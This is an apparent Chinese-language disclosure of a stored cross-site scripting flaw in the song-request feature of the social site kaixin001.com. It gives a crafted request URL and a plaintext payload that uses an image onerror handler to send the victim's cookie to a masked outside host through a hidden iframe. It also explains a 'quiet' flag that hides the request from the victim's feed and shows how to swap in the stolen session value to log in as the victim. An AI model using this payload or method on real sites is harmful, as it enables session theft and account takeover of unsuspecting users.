开心网(kaixin001.com) 好友点歌XSS漏洞

                                                http://www.kaixin001.com/music/ordermusic.php?verify=××××_1006_××××_1228989163_×××××&musicid=32331139&musichost=×××××&mid=924962&orderuids=×××××&word=%3Cimg+src%3D%22x%22+onerror%3D%22document.write%28%27%3Ciframe+src%3Dhttp%3A%2F%2Fwww.×××××.com%2Fxss%2Fxsscu.asp%3F%27%2Bescape%28document.cookie%29%2B%27+width%3D0++height%3D0++border%3D0%3E%3C%2Fiframe%3E%27%29%22%3E%0D%0A&group=&quiet=1

verify参数作用是验证用户身份
musicid参数是给好友点播歌曲的ID号
musichost是自己的开心网ID
orderuids是好友开心网ID
word是点歌时留言内容
group 用户组
quiet 悄悄地（将不会出现在好友的动态中）
word参数后可以加入精心构造的跨站代码。

盗取Cookie提交代码：<img src="http://item.feedsky.com/~feedsky/neeaocn/~7194256/148353603/1231010/1/x" onerror="document.write('<iframesrc=http://www.×××.com/xss/xsscu.asp?'+escape(document.cookie)+' width=0 height=0 border=0></iframe>')">
这段明文盗取COOKIE代码，你要转化为URL编码后再提交。
当点歌成功后，恶意代码将以系统消息的形式，发送给受害者。系统会告诉受害者，你的朋友×××给你点了一首歌。

开心网的COOKIE（其实是Session）格式如下:
SERVERID=_srv102-125_;
_user=3b45065b00978846edecd20e6dae7710_×××××_1226381918;
_email=×××××%40126.com; _invisible=0。
你只要把_user中的参数替换掉，就可以利用受害者的帐号进行登录了。